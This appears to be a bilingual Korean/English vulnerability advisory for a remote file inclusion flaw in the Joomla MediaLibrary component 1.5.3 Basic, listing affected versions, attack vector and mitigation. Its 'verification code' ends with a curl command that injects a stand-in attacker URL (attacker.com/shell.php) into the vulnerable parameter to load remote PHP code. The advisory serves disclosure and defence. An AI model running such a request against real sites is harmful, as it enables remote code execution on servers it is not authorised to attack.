🇰🇷 한글 설명
Joomla의 MediaLibrary 컴포넌트 1.5.3 Basic 버전에서 toolbar_ext.php 파일의 mosConfig_absolute_path 매개변수를 통한 원격 파일 포함 취약점입니다. 공격자가 악의적인 URL을 전달하여 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
Joomla 웹사이트의 미디어 라이브러리 부분에 결함이 있어서, 공격자가 멀리서 해당 서버에 자신의 코드를 실행시킬 수 있습니다. 사용자의 개입 없이 바로 공격이 가능합니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in toolbar_ext.php in the MediaLibrary (com_media_library) component 1.5.3 Basic for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.
📍 영향받는 시스템
Joomla com_media_library (MediaLibrary) 컴포넌트 1.5.3 Basic 및 그 이전 버전
⚔️ 공격 벡터
toolbar_ext.php의 mosConfig_absolute_path 파라미터에 원격 PHP 파일 URL을 주입하여 원격 코드 실행
🛡️ 대응 방법
컴포넌트를 1.5.3 패치 버전 이상으로 업그레이드하거나, com_media_library 컴포넌트를 제거합니다.
🔧 검증 코드
명령어가 원격 파일의 내용을 반환하거나 PHP 에러가 발생하면 취약점이 존재합니다. 정상이면 일반적인 HTML/에러만 출력됩니다.
curl -s 'http://target/components/com_media_library/toolbar_ext.php?mosConfig_absolute_path=http://attacker.com/shell.php' | head -5